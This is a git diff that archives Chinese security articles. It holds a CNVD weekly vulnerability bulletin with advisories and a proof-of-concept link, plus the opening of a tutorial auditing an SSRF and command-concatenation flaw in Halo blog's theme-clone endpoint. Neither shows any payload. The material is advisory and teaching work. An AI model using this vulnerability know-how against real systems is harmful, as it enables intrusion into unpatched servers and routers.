diff --git a/data.json b/data.json index 02da9bd5..4ea88b0f 100644 --- a/data.json +++ b/data.json @@ -3706,5 +3706,20 @@ "https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247527698&idx=1&sn=8cdce138dd5361420a2a8fc552205a2f": "滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)", "https://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247488676&idx=1&sn=94458e94fc2dceeea5eb0b33208af2bb": "网络安全人速领！整理了八大方向AI提示词+思维导图", "https://mp.weixin.qq.com/s?__biz=MzA5NzQzNTc0Ng==&mid=2247501979&idx=1&sn=5fa7a1296da73415206e2d1f485314ae": "【霄享·安全】任意文件读取漏洞简介（第49期月刊）", - "https://mp.weixin.qq.com/s?__biz=MzI5MTIwOTQ5MA==&mid=2247487693&idx=1&sn=d914d313721ba2d7800c618fb52051ac": "JWT漏洞初步了解" + "https://mp.weixin.qq.com/s?__biz=MzI5MTIwOTQ5MA==&mid=2247487693&idx=1&sn=d914d313721ba2d7800c618fb52051ac": "JWT漏洞初步了解", + "https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067739&idx=4&sn=65fa68bc1e46fca3f10c639f4af8d698": "【安全圈】未修补的漫威游戏RCE漏洞可能会让黑客接管PC和PS5", + "https://mp.weixin.qq.com/s?__biz=MzAxNzkyOTgxMw==&mid=2247493942&idx=1&sn=fea97070c0745023670857e716372e19": "一次JDBC反序列化漏洞", + "https://mp.weixin.qq.com/s?__biz=Mzg5MTc5Mzk2OA==&mid=2247502921&idx=1&sn=1e96fdab98871933e723fecf7991bb8f": "全年披露40000+漏洞，《2024年度网络安全漏洞分析报告》解码漏洞风险", + "https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522190&idx=1&sn=40eea5abf5bc17c52eb2a437e540b55f": "合勤不打算修复已达生命周期路由器中的已遭利用漏洞", + "https://mp.weixin.qq.com/s?__biz=Mzk0NTg3ODYxNg==&mid=2247485103&idx=1&sn=0eb4a61003fbb89975181a92f38f2b13": "web接口漏洞 - 水平越权", + "https://mp.weixin.qq.com/s?__biz=Mzg3OTcxMjE2NQ==&mid=2247487196&idx=1&sn=9b2618ff5922a5dc835b1946a9b5ef07": "【漏洞实战研磨】之细说log4j2", + "https://mp.weixin.qq.com/s?__biz=Mzk0OTY1NTI5Mw==&mid=2247490931&idx=1&sn=ddb4ffea822ad8ac739b6378318e43e4": "月神漏洞实战分享| 推广系统的“隐秘高危漏洞”", + "https://mp.weixin.qq.com/s?__biz=MzA4MTg0MDQ4Nw==&mid=2247579500&idx=1&sn=ec7ccd0444ca7b16e149f96a4f892d40": "全年披露40000+漏洞，《2024年度网络安全漏洞分析报告》解码漏洞风险", + "https://mp.weixin.qq.com/s?__biz=Mzg3MDU1MjgwNA==&mid=2247487209&idx=1&sn=a6660dcdb1f9f562e4d7799704e36aa3": "Java代码审计 || 通过某博客系统实战学习一个有趣的 SSRF 漏洞分析", + "https://mp.weixin.qq.com/s?__biz=MzU1NDY3NDgwMQ==&mid=2247549664&idx=1&sn=10c694c8488b49c6c9ce0e5e02d8fa5f": "【资讯】央行等六部门发布《关于规范供应链金融业务 引导供应链信息服务机构更好服务中小企业融资有关事宜的通知（征求意见稿）》", + "https://mp.weixin.qq.com/s?__biz=MzU3ODM2NTg2Mg==&mid=2247495763&idx=1&sn=b5525b4ff6a7145ad745acde332b1058": "CNVD漏洞周报2025年第5期", + "https://mp.weixin.qq.com/s?__biz=MzU3ODM2NTg2Mg==&mid=2247495763&idx=2&sn=81dbf95c95307188cb89cd1961d46621": "上周关注度较高的产品安全漏洞(20250127-20250209)", + "https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652503311&idx=1&sn=cc1b030ee4e0aa887458dd2d42b6e1f7": "雷神众测漏洞周报2024.1.20-2024.2.9", + "https://mp.weixin.qq.com/s?__biz=MjM5NjY2MTIzMw==&mid=2650620998&idx=1&sn=038833fbf100b99ba44221dcd1c84582": "数字世界危机四伏，谁是云上安全的“齐天大圣”？", + "https://mp.weixin.qq.com/s?__biz=Mzg5MDg3OTc0OA==&mid=2247489459&idx=1&sn=ca8ad552ca94bf47604c2bc682aef1e9": "通过符号链接致盲EDR复现" } \ No newline at end of file diff --git a/doc/CNVD漏洞周报2025年第5期.md b/doc/CNVD漏洞周报2025年第5期.md new file mode 100644 index 00000000..84beb306 --- /dev/null +++ b/doc/CNVD漏洞周报2025年第5期.md @@ -0,0 +1,692 @@ +# CNVD漏洞周报2025年第5期 +原创 CNVD CNVD漏洞平台 2025-02-10 09:48 + +2 +0 +2 +5 +年 +01 +月27 +日 +- +2 +0 +2 +5 +年 +02 +月9 +日 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/pMINP9OQkbgJr2icsSWMt7iczrs9mBzqwA3aldfx2etwNRAwnXic5IJJBJv5SSbmmh9kZOvkL8ahR8kENATauAVhQ/640?wx_fmt=jpeg "") + +**本周漏洞态势研判情况** + +本 +周 +信 +息 +安 +全 +漏 +洞 +威 +胁 +整 +体 +评 +价 +级 +别 +为**中** +。 + +国家信息安全漏洞共享平台（以下简称CNVD）本周共收集、整理信息安全漏洞143个，其中高危漏洞58个、中危漏洞69个、低危漏洞16个。漏洞平均分值为6.60。本周收录的漏洞中，涉及0day漏洞14个（占10%），其中互联网上出现“Dcat Admin admin/articles/create接口跨站脚本漏洞、dingfanzu SQL注入漏洞（CNVD-2025-02106）”等零日代码攻击漏洞。本周CNVD接到的涉及党政机关和企事业单位的漏洞总数415个，与上周（6125个）环比减少93%。 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbh5WGoJtBnFEjj957dWN0PsUFadp9SNfXRfTaDWPXTSSkALAYVFGvAF3xNnSGVpyDgDP3bicahk15g/640?wx_fmt=png&from=appmsg "") + + +图 +1 + +C +N +V +D +收 +录 +漏 +洞 +近 +1 +0 +周 +平 +均 +分 +值 +分 +布 +图 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbh5WGoJtBnFEjj957dWN0PskhsBL6s5r4cMQXsKJcHNo3vicWqiaVexpevkibIBzOBzibu1v1iclT4eqkw/640?wx_fmt=png&from=appmsg "") + + +图 +2 + +C +N +V +D + +0 +d +a +y +漏 +洞 +总 +数 +按 +周 +统 +计 + + +**本周漏洞事件处置情况** + +本周，CNVD向银行、保险、能源等重要行业单位通报漏洞事件2起，向基础电信企业通报漏洞事件2起，协调CNCERT各分中心验证和处置涉及地方重要部门漏洞事件77起，协调教育行业应急组织验证和处置高校科研院所系统漏洞事件5起，向国家上级信息安全协调机构上报涉及部委门户、子站或直属单位信息系统漏洞事件1起。 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbh5WGoJtBnFEjj957dWN0Psk9Auy4qR0GtclIZRBH2o9uzhFEvTGbkSa6oC29eYzs1IibCvptYXtEw/640?wx_fmt=png&from=appmsg "") + +图 +3 + +C +N +V +D +各 +行 +业 +漏 +洞 +处 +置 +情 +况 +按 +周 +统 +计 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbh5WGoJtBnFEjj957dWN0Pser7jWJeZEHYzicqHF7mCc8pyIJdTlQngZfpPFOJ6YstJqByqVXvTZTA/640?wx_fmt=png&from=appmsg "") + +图 +4 + +C +N +C +E +R +T +各 +分 +中 +心 +处 +置 +情 +况 +按 +周 +统 +计 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbh5WGoJtBnFEjj957dWN0Ps9icRib81XvcTrB5YPqhwuFzl08a4VzjkJL6yYgicIicuYYg2cPATVQnVicw/640?wx_fmt=png&from=appmsg "") + +图 +5 + +C +N +V +D +教 +育 +行 +业 +应 +急 +组 +织 +处 +置 +情 +况 +按 +周 +统 +计 + +此外，CNVD通过已建立的联系机制或涉事单位公开联系渠道向以下单位通报了其信息系统或软硬件产品存在的漏洞，具体处置单位情况如下所示： + +三菱电机自动化（中国）有限公司、北京神州视翰科技有限公司、网是科技股份有限公司、智互联（深圳）科技有限公司、朗坤智慧科技股份有限公司、贵州觅新科技有限公司、北京用友数聚科技有限公司、夏普科技（上海）有限公司、马上消费金融股份有限公司、北京春田知韵科技有限公司、安科瑞电气股份有限公司、宁波畅想软件股份有限公司、北京月之暗面科技有限公司、北京华星北斗智控技术有限公司、万洲电气股份有限公司、南京宇凡企业管理技术有限公司、北京智谱华章科技有限公司、阿里云计算有限公司、爱普生（中国）有限公司、北京金和网络股份有限公司、北京镜舟科技有限公司、畅捷通信息技术股份有限公司、杭州海康威视数字技术股份有限公司、惠普贸易（上海）有限公司、吉翁电子（深圳）有限公司、科大讯飞股份有限公司1、青岛海信网络科技股份有限公司、上海灵当信息科技有限公司、上海上讯信息技术股份有限公司、深圳市吉祥腾达科技有限公司、腾讯安全应急响应中心、西安炎燚信息科技有限公司、新天科技股份有限公司、富士胶片商业创新（中国）有限公司、上海汉得信息技术股份有限公司、深圳市必联电子有限公司、深圳市云盟智慧科技有限公司、北京星网锐捷网络技术有限公司、深圳市同享软件科技有限公司、无锡信捷电气股份有限公司、北京威速科技有限公司、深圳市蓝凌软件股份有限公司、深圳市思迅软件股份有限公司、申瓯通信设备有限公司、深圳市中科网威科技有限公司、神州数码控股有限公司、大象慧云信息技术有限公司、理光（中国）投资有限公司、上海冰峰计算机网络技术有限公司、深圳市磊科实业有限公司、北京趋势威尔网络技术有限公司、重庆梅安森科技股份有限公司、北京天融信网络安全技术有限公司、用友网络科技股份有限公司、广东中设智控科技股份有限公司。 + +本周，CNVD发布了《F5 发布2025年2月季度安全通告》，详情参见CNVD网站公告内容（https://www.cnvd.org.cn/webinfo/show/10901）。 + + + +**本周漏洞报送情况统计** + +本周报送情况如表1所示。其中，新华三技术有限公司、深信服科技股份有限公司、阿里云计算有限公司、中国电信集团系统集成有限责任公司、北京数字观星科技有限公司等单位报送公开收集的漏洞数量较多。江苏云天网络安全技术有限公司、北京山石网科信息技术有限公司、中华人民共和国烟台海事局、河南东方云盾信息技术有限公司、北京时代新威信息技术有限公司、江苏保旺达软件技术有限公司、上海纽盾科技股份有限公司、江苏正信信息安全测试有限公司、江苏尊安科技有限公司、天翼云科技有限公司、贵州多彩网安科技有限公司、淮安易云科技有限公司及其他个人白帽子向CNVD提交了437个以事件型漏洞为主的原创漏洞，其中包括上海交大向CNVD共享的白帽子报送271条原创漏洞信息。 + +表1 漏洞报送情况统计表 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbh5WGoJtBnFEjj957dWN0PsWzjrBbssicBnc38MkLowlVm156cLkKedPa5rzq1VCMQLEWjIxE0GbBQ/640?wx_fmt=png&from=appmsg "") + +**本周漏洞按类型和厂商统计** + +本周，CNVD收录了143个漏洞。网络设备（交换机、路由器等网络端设备）18个，WEB应用18个，应用程序63个，数据库8个，操作系统29个，智能设备（物联网终端设备）7个。 + +表 +2 + +漏 +洞 +按 +影 +响 +类 +型 +统 +计 +表 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbh5WGoJtBnFEjj957dWN0Psibeia4b22CxUj2WkyXmGtH9P0ibv9cg8hApyGucdOBNRHqyIic9hCtspHg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbh5WGoJtBnFEjj957dWN0PsJOEkyStBEXlF7Up3CJiaxlEJdQjKSCjQyLZh18DVIKVJUE1pAYd47zw/640?wx_fmt=png&from=appmsg "") + +图 +6 + +本 +周 +漏 +洞 +按 +影 +响 +类 +型 +分 +布 + +CNVD整理和发布的漏洞涉及Microsoft、DELL、Cisco等多家厂商的产品，部分漏洞数量按厂商统计如表3所示。 + +表 +3 + +漏 +洞 +产 +品 +涉 +及 +厂 +商 +分 +布 +统 +计 +表 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbh5WGoJtBnFEjj957dWN0PsS4zvZQ9GHNgcCJyGFdYb1nTZqpIwJtr2qzcDaSLdFviaKFJRJGI81icQ/640?wx_fmt=png&from=appmsg "") + +**本周行业漏洞收录情况** + +本周，CNVD收录了15个电信行业漏洞，11个移动互联网行业漏洞，4个工控行业漏洞（如下图所示）。其中，“NETGEAR DGN1000命令注入漏洞（CNVD-2025-02105）、Samsung RKP安全配置错误漏洞”等漏洞的综合评级为“高危”。相关厂商已经发布了漏洞的修补程序，请参照CNVD相关行业漏洞库链接。 + + +电 +信 +行 +业 +漏 +洞 +链 +接 +： +h +t +t +p +: +/ +/ +t +e +l +e +c +o +m +. +c +n +v +d +. +o +r +g +. +c +n +/ + +移 +动 +互 +联 +网 +行 +业 +漏 +洞 +链 +接 +： +h +t +t +p +: +/ +/ +m +i +. +c +n +v +d +. +o +r +g +. +c +n +/ + +工 +控 +系 +统 +行 +业 +漏 +洞 +链 +接 +： +h +t +t +p +: +/ +/ +i +c +s +. +c +n +v +d +. +o +r +g +. +c +n +/ + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbh5WGoJtBnFEjj957dWN0PsYb1aJDic4ECFJfARjjpOy8EEcUTWHLqNQeicV0F6dwicnZswknpayjzWA/640?wx_fmt=png&from=appmsg "") + +图 +7 +  +电 +信 +行 +业 +漏 +洞 +统 +计 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbh5WGoJtBnFEjj957dWN0PsGLF7Dpm0EbF8nuDkdJmQg8WWicyzx9RPQvMXMMLHkeuicUYmh3MxWlrQ/640?wx_fmt=png&from=appmsg "") + +图 +8 +  +移 +动 +互 +联 +网 +行 +业 +漏 +洞 +统 +计 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbh5WGoJtBnFEjj957dWN0PsNqgEasLVwKibMuTCHUKp5g4piakTias9Ct32NRic4DV95fzt6ibZ2NspO7g/640?wx_fmt=png&from=appmsg "") + +图 +9 +  +工 +控 +系 +统 +行 +业 +漏 +洞 +统 +计 + +**本周重要漏洞安全告警** + +本 +周 +， +C +N +V +D +整 +理 +和 +发 +布 +以 +下 +重 +要 +安 +全 +漏 +洞 +信 +息 +。 + +**1、****Microsoft产品安全漏洞** + +Microsoft SQL Server是美国微软（Microsoft）公司的一套应用在Microsoft Windows系统下的大型商业数据库系统。本周，上述产品被披露存在多个漏洞，攻击者可利用漏洞在系统上执行任意代码。 + +CNVD收录的相关漏洞包括：Microsoft SQL Server Native Client远程代码执行漏洞（CNVD-2025-02461、CNVD-2025-02462、CNVD-2025-02463、CNVD-2025-02464、CNVD-2025-02465、CNVD-2025-02466、CNVD-2025-02467、CNVD-2025-02468）。上述漏洞的综合评级为“高危”。目前，厂商已经发布了上述漏洞的修补程序。CNVD提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02461 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02462 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02463 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02464 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02465 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02466 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02467 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02468 + +**2、IBM产品安全漏洞****** + +IBM CICS TX Advanced是美国国际商业机器（IBM）公司的一个事务处理监控系统，用于在企业环境中运行大规模、高事务量的应用程序。IBM Sterling B2B Integrator是美国国际商业机器（IBM）公司的一套集成了重要的B2B流程、交易和关系的软件。该软件支持与不同的合作伙伴社区之间实现复杂的B2B流程的安全集成。IBM Engineering Lifecycle Optimization Publishing是美国国际商业机器（IBM）公司的一种自动化文档生成解决方案。IBM Concert是美国国际商业机器（IBM）公司的一种新工具。使用生成式AI来帮助管理复杂的云原生应用程序。IBM Cognos Controller是美国国际商业机器（IBM）公司的一套商业智能与计划解决方案。该产品具有流程自动化、财务审计控制、创建和管理财务报告等功能。本周，上述产品被披露存在多个漏洞，攻击者可利用漏洞获取敏感信息，通过注入精心设计的有效载荷执行任意Web脚本或HTML，通过发送特制的SQL语句，从而在后端数据库中查看、添加、修改或删除信息。 + +CNVD收录的相关漏洞包括：IBM CICS TX Advanced跨站脚本漏洞（CNVD-2025-02532）、IBM Sterling B2B Integrator跨站脚本漏洞（CNVD-2025-02530）、IBM Engineering Lifecycle Optimization Publishing加密问题漏洞、IBM Concert加密问题漏洞（CNVD-2025-02546）、IBM Cognos Controller和IBM Controller信任管理问题漏洞、IBM Concert信息泄露漏洞（CNVD-2025-02548）、IBM Concert输入验证错误漏洞（CNVD-2025-02547）、IBM Engineering Lifecycle Optimization Publishing SQL注入漏洞。其中，“IBM Cognos Controller和IBM Controller信任管理问题漏洞、IBM Engineering Lifecycle Optimization Publishing SQL注入漏洞”漏洞的综合评级为“高危”。目前，厂商已经发布了上述漏洞的修补程序。CNVD提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02532 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02530 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02102 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02546 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02545 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02548 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02547 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02553 + +**3、Cisco产品安全漏洞****** + +Cisco Common Services Platform Collector是美国思科（Cisco）公司的一款通用服务平台数据收集器。Cisco IOS和IOS XE都是美国思科（Cisco）公司的一套为其网络设备开发的操作系统。Cisco NX-OS Software是美国思科（Cisco）公司的一套交换机使用的数据中心级操作系统软件。Cisco Industrial Network Director（IND）是美国思科（Cisco）公司的一套工业自动化管理系统。该系统通过对工业以太网基础设施的可视化操作来实现自动化管理。Cisco BroadWorks是美国思科（Cisco）公司的一个运营商级统一通信软件平台。用于在任何类型的有线或无线网络架构上部署来自公共网络平台的云呼叫。Cisco Nexus 3500 Series Switches是美国思科（Cisco）公司的一款3500系列交换机。本周，上述产品被披露存在多个漏洞，攻击者可利用漏洞执行本应被禁止的SNMP操作，绕过NX-OS映像签名验证并加载未经验证的软件，能够在受影响设备的底层操作系统上以管理权限执行任意命令等。 + +CNVD收录的相关漏洞包括：Cisco Common Services Platform Collector跨站脚本漏洞（CNVD-2025-01386、CNVD-2025-01385、CNVD-2025-01384）、Cisco IOS Software和IOS XE Software访问控制错误漏洞、Cisco NX-OS Software访问控制错误漏洞（CNVD-2025-01388）、Cisco Industrial Network Director操作系统命令注入漏洞、Cisco BroadWorks资源管理错误漏洞、Cisco Nexus 3500 Series Switches权限许可和访问控制问题漏洞。其中，“Cisco NX-OS Software访问控制错误漏洞（CNVD-2025-01388）、Cisco Industrial Network Director操作系统命令注入漏洞、Cisco BroadWorks资源管理错误漏洞”漏洞的综合评级为“高危”。目前，厂商已经发布了上述漏洞的修补程序。CNVD提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-01386 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-01385 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-01384 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-01387 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-01388 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-01390 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-01389 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-01391 + +**4、Adobe产品安全漏洞****** + +Adobe Experience Manager（AEM）是美国奥多比（Adobe）公司的一套可用于构建网站、移动应用程序和表单的内容管理解决方案。该方案支持移动内容管理、营销销售活动管理和多站点管理等。本周，上述产品被披露存在多个漏洞，攻击者可利用漏洞在受害者的浏览器会话中执行任意代码。 + +CNVD收录的相关漏洞包括：Adobe Experience Manager跨站脚本漏洞（CNVD-2025-02452、CNVD-2025-02451、CNVD-2025-02453、CNVD-2025-02455、CNVD-2025-02454、CNVD-2025-02457、CNVD-2025-02456、CNVD-2025-02459）。目前，厂商已经发布了上述漏洞的修补程序。CNVD提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02452 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02451 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02453 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02455 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02454 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02457 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02456 + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02459 + +**5、Tenda AC10命令注入漏洞****** + +Tenda AC10是中国腾达（Tenda）公司的一款无线路由器。本周，Tenda AC10被披露存在命令执行漏洞。攻击者可利用该漏洞导致任意命令执行。目前，厂商尚未发布上述漏洞的修补程序。CNVD提醒广大用户随时关注厂商主页，以获取最新版本。 + +参考链接： +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02533 + +小结： +本周，Microsoft产品被披露存在多个漏洞，攻击者可利用漏洞在系统上执行任意代码。此外，IBM、Cisco、Adobe等多款产品被披露存在多个漏洞，攻击者可利用漏洞获取敏感信息，通过注入精心设计的有效载荷执行任意Web脚本或HTML，通过发送特制的SQL语句，从而在后端数据库中查看、添加、修改或删除信息，在受害者的浏览器会话中执行任意代码等。另外，Tenda AC10被披露存在命令注入漏洞，攻击者可利用该漏洞导致任意命令执行。建议相关用户随时关注上述厂商主页，及时获取修复补丁或解决方案。 + + +**本周重要漏洞攻击验证情况** + +本 +周 +， +C +N +V +D +建 +议 +注 +意 +防 +范 +以 +下 +已 +公 +开 +漏 +洞 +攻 +击 +验 +证 +情 +况 +。 + +**1、****Dcat Admin admin/articles/create接口跨站脚本漏洞** + +**验证描述** + +Dcat Admin是一个基于laravel-admin二次开发而成的后台系统构建工具。 + +Dcat Admin v2.2.0-beta版本存在跨站脚本漏洞，该漏洞源于在/admin/articles/create对用户提供的数据缺乏有效过滤与转义，攻击者可利用该漏洞通过注入精心设计的有效载荷执行任意Web脚本或HTML。 + +**验证信息** + +P +O +C +链 +接 +： + +https://github.com/taynes-llllzt/taynes/issues/4 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02556 + +**信息提供者** + +新华三技术有限公司 + + + +注：以上验证信息(方法)可能带有攻击性，仅供安全研究之用。请广大用户加强对漏洞的防范工作，尽快下载相关补丁。 + + +**关于CNVD** + +国家信息安全漏洞共享平台（China National Vulnerability Database，简称CNVD）是由CNCERT联合国内重要信息系统单位、基础电信运营商、网络安全厂商、软件厂商和互联网企业建立的国家网络安全漏洞库，致力于建立国家统一的信息安全漏洞收集、发布、验证、分析等应急处理体系。 + +**关于** +**CNCERT** + +国家计算机网络应急技术处理协调中心（简称“国家互联网应急中心”，英文简称是CNCERT或CNCERT/CC），成立于2002年9月，为非政府非盈利的网络安全技术中心，是我国计算机网络应急处理体系中的牵头单位。 + +作为国家级应急中心，CNCERT的主要职责是：按照“积极预防、及时发现、快速响应、力保恢复”的方针，开展互联网网络安全事件的预防、发现、预警和协调处置等工作，维护国家公共互联网安全，保障基础信息网络和重要信息系统的安全运行。 + +网 +址 +： +w +w +w +. +c +e +r +t +. +o +r +g +. +c +n + +邮 +箱 +： +v +r +e +p +o +r +t +@ +c +e +r +t +. +o +r +g +. +c +n + +电 +话 +： +0 +1 +0 +- +8 +2 +9 +9 +1 +5 +3 +7 + + +关 +注 +C +N +V +D +漏 +洞 +平 +台 + +![](https://mmbiz.qpic.cn/mmbiz/98kRE9BEzFI2epKukvKxnLRJOLbvv5hCS2UOOfgnFECrF4XdPmId0gmLyjwB9p5QwajL31bibbV7WTVe0YLgtHA/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + + +**** + + + diff --git a/doc/Java代码审计 || 通过某博客系统实战学习一个有趣的 SSRF 漏洞分析.md b/doc/Java代码审计 || 通过某博客系统实战学习一个有趣的 SSRF 漏洞分析.md new file mode 100644 index 00000000..9fa62ede --- /dev/null +++ b/doc/Java代码审计 || 通过某博客系统实战学习一个有趣的 SSRF 漏洞分析.md @@ -0,0 +1,150 @@ +# Java代码审计 || 通过某博客系统实战学习一个有趣的 SSRF 漏洞分析 +原创 润霖@闪石星曜 闪石星曜CyberSecurity 2025-02-10 10:03 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/FFcgFn6WVc2ribkEhzXXbiaAE31xwNoCLjKDDibq9HkTiab5BllP8wbSSabd7CIoJSLfHQHjq6ZBf0CoVJaEdKgibNA/640?wx_fmt=gif&from=appmsg "") + +嗨，大家好，这里是闪石星曜CyberSecurity。 + +我是你们的老朋友润霖。 + +今天通过 Halo 博客系统给大家讲讲在 JavaWeb 中 SSRF 漏洞分析。 + +如果大家想系统入门学习 Java代码审计，欢迎报名我的课程，五十多节课，平均一小时，20+企业级实战项目，低至499，详细可点击下方链接查看。 + +[《Java代码审计零基础入门到项目实战》2025年第一期招生即将结束，低至499，五十多节课，多重福利来袭！](https://mp.weixin.qq.com/s?__biz=Mzg3MDU1MjgwNA==&mid=2247487190&idx=1&sn=704ae787b03a1066720f28cecdc33545&scene=21#wechat_redirect) + +# 一、项目简介 + +**Halo** + [ˈheɪloʊ]，意为光环。当然，你也可以当成拼音读(哈喽)。 + +轻快，简洁，功能强大，使用 Java 开发的博客系统。 + +Halo 的诞生离不开下面这些项目： +- Spring Boot +：Spring 的快速开发框架 + +- Freemarker +：模板引擎，使页面静态化 + +- H2 Database +：嵌入式数据库，无需安装 + +- Spring-data-jpa +：不需要写 sql 语句的持久层框架 + +- Ehcache +：缓存框架 + +- Lombok +：让代码更简洁 + +- 等等...... + +# 二、项目搭建 +## 1、环境要求 + +以下是我的测试环境版本详情，除 JDK 需要以下指定版本外，其他仅供参考。 + +
软件名称版本
操作系统Windows10
JavaJDK1.8_161（https://www.oracle.com/co/java/technologies/javase/javase8-archive-downloads.html，往下滑）
Maven3.6.3
IDEA2024.x
## 2、项目部署流程 + +源码下载地址： +``` +https://github.com/halo-dev/halo/releases/tag/v0.4.3 +``` + +下载完成后解压项目文件，使用 IDEA 以 Maven 方式打开该项目即可，会自动加载相关依赖。 + +该系统使用了 H2 Database 作为数据库，则不需要像 Mysql 那般操作。 + +进入 +src/main/java/cc/ryanc/halo/Application.java +代码中启动项目即可，如下图所示： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriaq09VMEcrVDjBDLMv5M5yqz3xtJz129YXAIoRG2cyCVXiaxUO8I4Trjw/640?wx_fmt=jpeg&from=appmsg "") + +访问上述提供的地址 +http://localhost:8090 +，进入安装向导，内容自行填写即可（备注：电子邮箱一定填写自己可以登录的，后面测试会用到），如下图所示： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmria7ju1XafAwvl4bvrIk2PK83FhCgnqGw3wqhVEOiaEwAfgFnkmUVl4N4A/640?wx_fmt=jpeg&from=appmsg "") + +最后成功安装后可按以下地址进行访问： + +前台地址： +http://localhost:8090/ + +后台地址： +http://localhost:8090/admin/login + +备注： +- 如果遇见报错，也许是因为依赖没有成功下载或加载，可尝试退出 IDEA 后重新进入，如依旧不能解决可将问题详细整理后在群里咨询。 + +- 如果你的系统内有多个 JDK 版本，记得在 +文件 - 项目结构 +（英文版 IDEA 看图寻找吧）将 JDK 版本设置为 JDK1.8_161，如下图所示： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriaRicsWuLIGiaSk4lNp58iaKUp41zkaQXFIGO03Hh3WwrdmhPja6s3lCSGQ/640?wx_fmt=jpeg&from=appmsg "") +### 三、SSRF 漏洞代码审计 + +正向梳理功能时，发现系统内安装主题处，可通过远程拉去的方式下载主题，可能会存在 SSRF 漏洞，如下图所示： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriacMoHJvFVnF5r594wxMSXP01ZeNQsS3iaTTDoSex17XpzGLyaB65UrDA/640?wx_fmt=jpeg&from=appmsg "") + +通过抓包获取到接口名为 +/admin/themes/clone +，通过关键字逐一尝试，最终使用关键字 +/clone +定位到该接口的 Controller 层代码为 ThemeController，如下图所示： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriau6cJQNAYEg97UWjpbWDOImwiaMV33QlmsqbHmDGHnwOMHKAoLU9jofA/640?wx_fmt=jpeg&from=appmsg "") + +点击进入 ThemeController 层，具体代码位于第 180 行至第 201 行，如下所示： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriaRw6JwojFv2KUJsqAOU7wlK1HAvh1dx9xWdhG0PIrlazmvlNKdMAhSw/640?wx_fmt=jpeg&from=appmsg "") + +下面进行代码审计分析。 + +①、第一步，单击 remoteAddr 查看传递调用关系，在第 186 行处进行了 isBlank 判空操作，没什么其他值得注意的。然后就直接到第 190 行，进行了 git clone 拼接传入的 remoteAddr 参数操作，使用的是 RuntimeUtil.execForStr 方法执行命令，如下图所示： + 